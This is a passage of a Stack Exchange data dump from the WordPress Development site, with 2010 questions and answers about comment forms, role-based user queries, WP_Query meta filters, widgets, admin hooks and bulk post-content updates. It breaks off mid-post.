  <row Id="5708" PostTypeId="1" AcceptedAnswerId="5710" CreationDate="2010-12-21T04:09:36.437" Score="1" ViewCount="163" Body="&lt;p&gt;I've got a great Comment Form and Threaded Comments setup by using the native WordPress functions: &lt;code&gt;comment_form&lt;/code&gt; and &lt;code&gt;wp_list_comments&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm trying to also create a custom Contest Comment template for certain posts. I call &lt;code&gt;comments_template('/contest-comments.php', true);&lt;/code&gt; conditionally based on whether a certain custom field exists or not. It works great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to make it look along the lines of &lt;a href=&quot;http://2010.sf.wordcamp.org/attendees/&quot; rel=&quot;nofollow&quot;&gt;http://2010.sf.wordcamp.org/attendees/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only want to show the person's name wrapped in a link and their avatar. Therefore, I want my comment form to only show the Name, Email, and URL fields. The text area should be hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the Comment Form, I am passing an empty value for the &lt;code&gt;comment_field&lt;/code&gt; key in the &lt;code&gt;$args&lt;/code&gt; array I'm passing into &lt;code&gt;comment_form&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes the comment form look okay, but when someone submits a comment, they get a warning from WordPress saying that their message was blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solutions on how to solve this? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1493" LastActivityDate="2011-01-07T15:11:07.173" Title="Does WordPress Allow Blank/Empty Comment Submissions In WordPress?" Tags="&lt;comments&gt;&lt;3.0.3&gt;&lt;comment-form&gt;" AnswerCount="1" />
  <row Id="5709" PostTypeId="2" ParentId="5696" CreationDate="2010-12-21T04:16:32.610" Score="1" ViewCount="" Body="&lt;p&gt;You got the first step down. Just get the post text imported and working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next step is to use a plugin that imports external media attachments. W3 Total Cache has an excellent feature for that in it. It will import all external attachments and add them  to the WP Media Library. It also has a &quot;Modify Attachment URLs&quot; tool. This will scan through all the links in your post and rewrite them to properly reference the images it just imported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always keep backups. If it messes up something, it will be easy to go back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There might be a better plugin out there to do this, but I happened to be using it for caching anyways. If you aren't caching, I'd recommended this plugin anyways!&lt;/p&gt;&#xA;" OwnerUserId="1493" LastActivityDate="2010-12-21T04:16:32.610" />
  <row Id="5710" PostTypeId="2" ParentId="5708" CreationDate="2010-12-21T04:51:56.620" Score="5" ViewCount="" Body="&lt;p&gt;Short answer: It doesn't, but you can get around this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('comment_form_field_comment', 'my_comment_form_field_comment');&#xA;function my_comment_form_field_comment($default){&#xA;  return false;&#xA;}&#xA;&#xA;add_action('pre_comment_on_post', 'my_pre_comment_on_post');&#xA;function my_pre_comment_on_post($post_id){&#xA;  $some_random_value = rand(0, 384534);&#xA;  $_POST['comment'] = &quot;Default comment. Some random value to avoid duplicate comment warning: {$some_random_value}&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want this only for certain pages, then you should create a &lt;a href=&quot;http://codex.wordpress.org/Pages#Page_Templates&quot; rel=&quot;nofollow&quot;&gt;custom page template&lt;/a&gt;, for eg &quot;boo.php&quot;, and in the code I posted above, only add these filters if the current page template is boo (use &lt;code&gt;$post-&amp;gt;page_template&lt;/code&gt; to get the current page template when doing the check).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3200/removing-the-website-field-from-comments-and-replies&quot;&gt;Removing the &quot;Website&quot; Field from Comments and Replies?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/2539/comment-form-validation&quot;&gt;Comment form validation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2010-12-21T05:25:00.693" LastActivityDate="2010-12-21T05:25:00.693" CommentCount="3" />
  <row Id="5711" PostTypeId="1" AcceptedAnswerId="5712" CreationDate="2010-12-21T05:25:13.113" Score="0" ViewCount="204" Body="&lt;p&gt;I have a custom plugin which queries users and usermeta, but I now need to filter admins out of the results.  A very simplified version of my sql query is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;SELECT * FROM usermeta LEFT JOIN users ON users.ID = user_id &#xA;WHERE meta_key = 'last_name' AND &#xA;user_role != 'admin' &#xA;ORDER BY meta_value &#xA;ASC LIMIT 0, 25&#xA;&lt;/code&gt;&#xA;user_role is not a field, and i saw how it is stored as a config string, but i don't see how to make an equivalent query to this.  am i missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="2092" LastEditorUserId="2092" LastEditorDisplayName="" LastEditDate="2010-12-22T00:26:01.393" LastActivityDate="2010-12-22T00:26:01.393" Title="query users by role" Tags="&lt;plugin-development&gt;&lt;mysql&gt;&lt;roles&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="5712" PostTypeId="2" ParentId="5711" CreationDate="2010-12-21T06:15:04.847" Score="3" ViewCount="" Body="&lt;p&gt;You can use this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get users with specified roles&#xA;function getUsersWithRole( $roles ) {&#xA;    global $wpdb;&#xA;    if ( ! is_array( $roles ) )&#xA;        $roles = array_walk( explode( &quot;,&quot;, $roles ), 'trim' );&#xA;    $sql = '&#xA;        SELECT  ID, display_name&#xA;        FROM        ' . $wpdb-&amp;gt;users . ' INNER JOIN ' . $wpdb-&amp;gt;usermeta . '&#xA;        ON          ' . $wpdb-&amp;gt;users . '.ID             =       ' . $wpdb-&amp;gt;usermeta . '.user_id&#xA;        WHERE       ' . $wpdb-&amp;gt;usermeta . '.meta_key        =       \'' . $wpdb-&amp;gt;prefix . 'capabilities\'&#xA;        AND     (&#xA;    ';&#xA;    $i = 1;&#xA;    foreach ( $roles as $role ) {&#xA;        $sql .= ' ' . $wpdb-&amp;gt;usermeta . '.meta_value    LIKE    \'%&quot;' . $role . '&quot;%\' ';&#xA;        if ( $i &amp;lt; count( $roles ) ) $sql .= ' OR ';&#xA;        $i++;&#xA;    }&#xA;    $sql .= ' ) ';&#xA;    $sql .= ' ORDER BY display_name ';&#xA;    $userIDs = $wpdb-&amp;gt;get_col( $sql );&#xA;    return $userIDs;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2010-12-21T06:15:04.847" CommentCount="3" />
  <row Id="5713" PostTypeId="1" AcceptedAnswerId="5715" CreationDate="2010-12-21T08:04:32.733" Score="1" ViewCount="1095" Body="&lt;p&gt;How to filter WP_Query for posts having a certain meta-value, without using a Custom Select Query?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom posttype with meta-key: &quot;open&quot;, and meta-value options: &quot;yes&quot; or &quot;no&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to show posts only with meta_value = yes, for meta_key = &quot;open&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function filter_where($where = '') {    &#xA;&#xA;    $open = &quot;yes&quot;;&#xA;&#xA;    //$where .= &quot; AND post_date &amp;gt; '&quot; . date('Y-m-d', strtotime('-2 days')) . &quot;'&quot;;&#xA;    return $where;&#xA;}&#xA;add_filter('posts_where', 'filter_where');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1866" LastActivityDate="2010-12-21T09:19:10.860" Title="Filter WP_Query for posts having a certain meta-value" Tags="&lt;custom-field&gt;&lt;filters&gt;&lt;wp-query&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="5714" PostTypeId="2" ParentId="5704" CreationDate="2010-12-21T08:21:23.907" Score="2" ViewCount="" Body="&lt;p&gt;Yep, this does seem like a cron issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/core-control/&quot; rel=&quot;nofollow&quot;&gt;Core Control&lt;/a&gt; plugin is good to diagnose cron tasks (among other things).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still unsure what is the reason of you getting overrun with feed transients. However I had written some &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6602/are-transients-garbage-collected/6652#6652&quot;&gt;code that might help with automatic cleanup&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-11T14:09:11.033" LastActivityDate="2011-01-11T14:09:11.033" CommentCount="4" />
  <row Id="5715" PostTypeId="2" ParentId="5713" CreationDate="2010-12-21T09:19:10.860" Score="2" ViewCount="" Body="&lt;p&gt;I am not sure from your wording if you hadn't tried it with query argument or it didn't work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$the_query = new WP_Query(array( 'meta_key' =&amp;gt; 'open', 'meta_value' =&amp;gt; 'yes' ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;Custom Field Parameters&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-21T09:19:10.860" CommentCount="5" />
  <row Id="5716" PostTypeId="1" AcceptedAnswerId="5719" CreationDate="2010-12-21T10:34:34.853" Score="0" ViewCount="134" Body="&lt;p&gt;I would like to query posts from a taxonomy created by a plugin (WP Business Directory Manager). How would I do this? I want the query to create html listing of the posts and allow me to list a certain amount, show the associated image to the posts, and a small excerpt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples on wp stack exchange seem like they would help, but might be different in my case. Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2011-07-28T16:35:13.487" Title="How to list posts from a plugin taxonomy?" Tags="&lt;php&gt;&lt;query-posts&gt;&lt;functions&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="5717" PostTypeId="1" AcceptedAnswerId="5718" CreationDate="2010-12-21T10:42:17.330" Score="1" ViewCount="171" Body="&lt;p&gt;I don't like the grey one and i'd rather not change each user. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2010-12-21T11:28:16.093" Title="Default admin color scheme as &quot;blue&quot;" Tags="&lt;admin&gt;" AnswerCount="1" />
  <row Id="5718" PostTypeId="2" ParentId="5717" CreationDate="2010-12-21T11:28:16.093" Score="2" ViewCount="" Body="&lt;p&gt;I don't see easy way to change default so far, &lt;code&gt;fresh&lt;/code&gt; color scheme seems to be hardcoded in plenty of places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just need to force some specific scheme for all users it can be done with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('get_user_option_admin_color','change_admin_color');&#xA;&#xA;function change_admin_color($result) {&#xA;&#xA;    return 'classic';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-21T11:28:16.093" />
  <row Id="5719" PostTypeId="2" ParentId="5716" CreationDate="2010-12-21T11:34:33.547" Score="3" ViewCount="" Body="&lt;p&gt;To query by taxonomy you need to know its &lt;code&gt;query_var&lt;/code&gt; that is used in its &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_taxonomy()&lt;/code&gt;&lt;/a&gt; call. It defaults to taxonomy name so usually equal to that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you use that info in query argument:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array( 'query_var' =&amp;gt; 'term' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Custom_Taxonomies#Querying_by_taxonomy&quot; rel=&quot;nofollow&quot;&gt;Querying by taxonomy&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is hard to suggest more without specifics of your taxonomy and where you need it done (template, standalone function, etc).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-21T11:34:33.547" CommentCount="3" />
  <row Id="5720" PostTypeId="1" AcceptedAnswerId="5722" CreationDate="2010-12-21T11:54:33.600" Score="0" ViewCount="89" Body="&lt;p&gt;I have a widget-less WordPress theme to which I want to add &lt;a href=&quot;http://premium.wpmudev.org/project/subscribe-by-email/installation/&quot; rel=&quot;nofollow&quot;&gt;Subscribe by Email&lt;/a&gt; functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunatly the plugin only comes in the form of a widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use the widget functionality without widget support.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-12-21T12:05:01.347" Title="How to use widget in a widget-less WordPress theme?" Tags="&lt;theme-development&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="5721" PostTypeId="1" CreationDate="2010-12-21T11:58:46.903" Score="0" ViewCount="52" Body="&lt;p&gt;How to, using PHP scripting or WordPress overwrite all of the posts (permamently, so it takes effect on database) with some static text such as &quot;Content removed.&quot;?&lt;/p&gt;&#xA;" OwnerUserId="1454" LastActivityDate="2010-12-21T22:15:03.323" Title="Removal of all posts content in bulk, keeping the posts itself" Tags="&lt;php&gt;&lt;mysql&gt;" AnswerCount="2" FavoriteCount="0" />
  <row Id="5722" PostTypeId="2" ParentId="5720" CreationDate="2010-12-21T12:05:01.347" Score="4" ViewCount="" Body="&lt;p&gt;It is a little bulky for complex widgets, but you can call any widget in any place (no sidebar required) with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_widget&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_widget()&lt;/code&gt;&lt;/a&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-21T12:05:01.347" />
  <row Id="5723" PostTypeId="1" AcceptedAnswerId="7700" CreationDate="2010-12-21T12:40:48.020" Score="0" ViewCount="218" Body="&lt;p&gt;I'm using the WP Business Directory Manager plugin and I'm having some problems. The developer hasn't been supporting the plugin lately, so here I am.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I need to change the field order. Currently the option is there, but it doesn't work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I need to target the field for CSS purposes, with custom classes/ids&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And I need to be able to query the post from certain categories from its directory. I would want to post different list on throughout the site and Im not sure how to do that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The plugin is very useful, I just need some help with these issues...PLEASE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help that can be provided.&lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2011-01-25T11:32:49.853" Title="Help with WP Business Directory Manager Plugin?" Tags="&lt;plugins&gt;&lt;php&gt;&lt;functions&gt;" AnswerCount="1" />
  <row Id="5724" PostTypeId="1" CreationDate="2010-12-21T12:42:27.473" Score="0" ViewCount="256" Body="&lt;p&gt;i would add a checkbox in every item in the menu manager, like that :&#xA;&lt;a href=&quot;http://archiparmentier.com/menumanager.jpg&quot; rel=&quot;nofollow&quot;&gt;http://archiparmentier.com/menumanager.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;of course, i could return easily the value of the checkbox probably like that : $item-&gt;checkbox1 (in functions.php)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit1:&lt;/strong&gt; &#xA;maybe can i transform the field xfn for example in a checkbox... is it possible in function.php ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit2:&lt;/strong&gt;&#xA;in wp-admin/includes, i have modify function start_el(&amp;amp;$output, $item, $depth, $args) like that:&#xA;i have replace this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;field-link-target description description-thin&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;edit-menu-item-target-&amp;lt;?php echo $item_id; ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;?php _e( 'Link Target' ); ?&amp;gt;&amp;lt;br /&amp;gt;&#xA;                        &amp;lt;select id=&quot;edit-menu-item-target-&amp;lt;?php echo $item_id; ?&amp;gt;&quot; class=&quot;widefat edit-menu-item-target&quot; name=&quot;menu-item-target[&amp;lt;?php echo $item_id; ?&amp;gt;]&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;&quot; &amp;lt;?php selected( $item-&amp;gt;target, ''); ?&amp;gt;&amp;gt;&amp;lt;?php _e('Same window or tab'); ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;_blank&quot; &amp;lt;?php selected( $item-&amp;gt;target, '_blank'); ?&amp;gt;&amp;gt;&amp;lt;?php _e('New window or tab'); ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;/label&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;by this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;field-link-target description description-thin&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;edit-menu-item-target-&amp;lt;?php echo $item_id; ?&amp;gt;&quot;&amp;gt;&#xA;                        My label&amp;lt;br /&amp;gt;&#xA;                        &amp;lt;select id=&quot;edit-menu-item-target-&amp;lt;?php echo $item_id; ?&amp;gt;&quot; class=&quot;widefat edit-menu-item-target&quot; name=&quot;menu-item-target[&amp;lt;?php echo $item_id; ?&amp;gt;]&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;no&quot; &amp;lt;?php selected( $item-&amp;gt;target, 'no'); ?&amp;gt;&amp;gt;No&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;yes&quot; &amp;lt;?php selected( $item-&amp;gt;target, 'yes'); ?&amp;gt;&amp;gt;Yes&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;/label&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and i can return the value with $item-&gt;target but &lt;strong&gt;it's an uggly solution :--( and i can't propose a plugin like that&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can i do the same thing via function.php ?&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T23:33:46.593" LastActivityDate="2011-02-05T23:33:46.593" Title="add a checkbox in items of the menu-manager in wp" Tags="&lt;wp-admin&gt;&lt;custom-menus&gt;&lt;customization&gt;&lt;admin-menu&gt;" CommentCount="5" />
  <row Id="5725" PostTypeId="1" AcceptedAnswerId="5729" CreationDate="2010-12-21T12:51:21.420" Score="0" ViewCount="151" Body="&lt;p&gt;I have a WordPress multisite installation.&#xA;The client wants an email update form on the sidebar of every blog.&#xA;I want to use a widget there so I need to assign it to the sidebar.&#xA;Is there any way to do that on the theme install ?&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-12-21T14:12:55.897" Title="How can i initialize a widgetized sidebar (with widgets)" Tags="&lt;theme-development&gt;&lt;widgets&gt;" AnswerCount="2" />
  <row Id="5726" PostTypeId="1" AcceptedAnswerId="5727" CreationDate="2010-12-21T13:20:53.777" Score="0" ViewCount="115" Body="&lt;p&gt;I'd like this code to only run inside the admin area as it is resorting the items on the public side admin bar too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  /* Reorder Admin Menu to put &quot;Pages&quot; at the top */&#xA;  function menu_order_filter($menu) {&#xA;  $content_menu = array('edit.php?post_type=page');&#xA;  array_splice($menu, 2, 0, $content_menu);&#xA;  return array_unique($menu);&#xA;  }&#xA;  add_filter('custom_menu_order', create_function('', 'return true;'));&#xA;  add_filter('menu_order', 'menu_order_filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2010-12-21T19:25:03.557" Title="Run functions only in the admin area?" Tags="&lt;functions&gt;&lt;admin-menu&gt;" AnswerCount="2" />
  <row Id="5727" PostTypeId="2" ParentId="5726" CreationDate="2010-12-21T13:26:28.797" Score="2" ViewCount="" Body="&lt;p&gt;There is very little overhead to assigning couple of filters on hooks that simply won't fire on front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general it would be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'admin_only');&#xA;&#xA;function admin_only() {&#xA;&#xA;    if( !is_admin() )&#xA;        return;&#xA;&#xA;    // filter assignemnts and such go here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also &lt;code&gt;create_function()&lt;/code&gt; is not recommended for performance and some other reasons. It is better to use more modern &lt;a href=&quot;http://php.net/manual/en/functions.anonymous.php&quot; rel=&quot;nofollow&quot;&gt;Anonymous Functions&lt;/a&gt;, but for cases like this WordPress provides ready-made &lt;code&gt;__return_true()&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-21T13:26:28.797" CommentCount="9" />
  <row Id="5728" PostTypeId="2" ParentId="5701" CreationDate="2010-12-21T13:44:43.470" Score="6" ViewCount="" Body="&lt;p&gt;Here's a very basic example..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;    Code assumes it will be in the theme functions.php file&#xA;    Update the enqueue path if using it elsewhere&#xA;*/&#xA;add_action( 'add_meta_boxes_post', 'add_post_metabox' );&#xA;&#xA;function add_post_metabox() {&#xA;    wp_enqueue_script( 'mytabs', get_bloginfo( 'stylesheet_directory' ). '/mytabs.js', array( 'jquery-ui-tabs' ) );&#xA;    add_meta_box( 'examplebox' , __('Example box'), 'my_example_metabox', 'post', 'side', 'core'/*,array()*/);&#xA;}&#xA;&#xA;function my_example_metabox() {&#xA;    ?&amp;gt;&#xA;    &amp;lt;div id=&quot;mytabs&quot;&amp;gt;&#xA;        &amp;lt;ul class=&quot;category-tabs&quot;&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#frag1&quot;&amp;gt;Tab 1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#frag2&quot;&amp;gt;Tab 2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#frag3&quot;&amp;gt;Tab 3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;br class=&quot;clear&quot; /&amp;gt;&#xA;        &amp;lt;div id=&quot;frag1&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;#1 - Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;hidden&quot; id=&quot;frag2&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;#2 - Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;hidden&quot; id=&quot;frag3&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;#3 - Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The jQuery for the mytabs.js referenced in the enqueue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;    $(&quot;#mytabs .hidden&quot;).removeClass('hidden');&#xA;    $(&quot;#mytabs&quot;).tabs();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTES:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Used inside a plugin, the enqueue should call &lt;code&gt;plugins_url( '/mytabs.js', __FILE__ )&lt;/code&gt; in place of the &lt;code&gt;get_bloginfo&lt;/code&gt; string.&lt;/li&gt;&#xA;&lt;li&gt;The anchor link for each tab should match the ID of the content element it refers to, eg. frag1, frag2, etc.&lt;/li&gt;&#xA;&lt;li&gt;A hidden class is applied to each content DIV after the first so they are hidden on page load(else you'll noticed a brief jump in the page), the class is removed after page load, else they'll stay hidden.&lt;/li&gt;&#xA;&lt;li&gt;The top action should be updated to reflect the post type you want to effect &lt;code&gt;add_action( &quot;add_meta_boxes_YOURTYPE&quot;, 'add_post_metabox' );&lt;/code&gt;, i used &lt;code&gt;post&lt;/code&gt; in the example..&lt;/li&gt;&#xA;&lt;li&gt;You'll need to render the metabox in the side in order to utilise existing WordPress CSS which positions the tab LI elements inline(you can always load you're own stylesheet to deal with the CSS though).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See here for more info on how to configure the tabs script.&lt;br&gt;&#xA;&lt;a href=&quot;http://docs.jquery.com/UI/Tabs&quot; rel=&quot;nofollow&quot;&gt;http://docs.jquery.com/UI/Tabs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-21T13:44:43.470" CommentCount="4" />
  <row Id="5729" PostTypeId="2" ParentId="5725" CreationDate="2010-12-21T14:11:41.763" Score="2" ViewCount="" Body="&lt;p&gt;yes. preset widgets:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5450/possible-to-preset-a-widgets-contents-via-a-plugin-script&quot;&gt;Possible to preset a widget's contents via a plugin script?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;post your widget code here if you need specific instructions&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2010-12-21T14:11:41.763" />
  <row Id="5730" PostTypeId="2" ParentId="5721" CreationDate="2010-12-21T14:12:13.067" Score="1" ViewCount="" Body="&lt;p&gt;Do not run this on a live site until you're tested it on a backup or local installation and confirmed valid results, i won't take any resposibility for lost data, should that occur.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;SQL Query&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To run from PhpMyAdmin&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_posts SET post_content = 'your_content' WHERE post_type = 'post'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Inside WordPress&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To use inside a plugin or your functions file (run once)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$my_update_query = $wpdb-&amp;gt;get_result( &quot;UPDATE $wpdb-&amp;gt;posts SET post_content = 'your_content' WHERE post_type = 'post'&quot; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-21T18:07:41.783" LastActivityDate="2010-12-21T18:07:41.783" CommentCount="2" />
  <row Id="5731" PostTypeId="2" ParentId="5725" CreationDate="2010-12-21T14:12:55.897" Score="0" ViewCount="" Body="&lt;p&gt;If all the subsites have the same widget setup, you could hard code the sidebar setup in the static sidebar file(s) (usually sidebar.php) so every new site using that theme would have the widget. If the owner of the site uses the widget menu you'd need the email form available as a widget as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose you could also take the form out of the dynamic_sidebar code so when a user activates widgets the form menu is always present (would have to be at the top or bottom of the sidebar). This would be a good option if the multisite is open to anyone to register and you don't want your users to have the ability to remove that one widget, but still want them to be able to add their own widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a plugin that you can setup multisite templates including widgets, basically you create a subsite and set all options, plugins, theme, widgets etc... on that subsite and create a template from it. When a new subsite is created it uses that template rather than the default WordPress installation. Users can then edit the default setup after creation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't use multisite WordPress, but have hundreds of theme customers who do and wrote them a tutorial at &lt;a 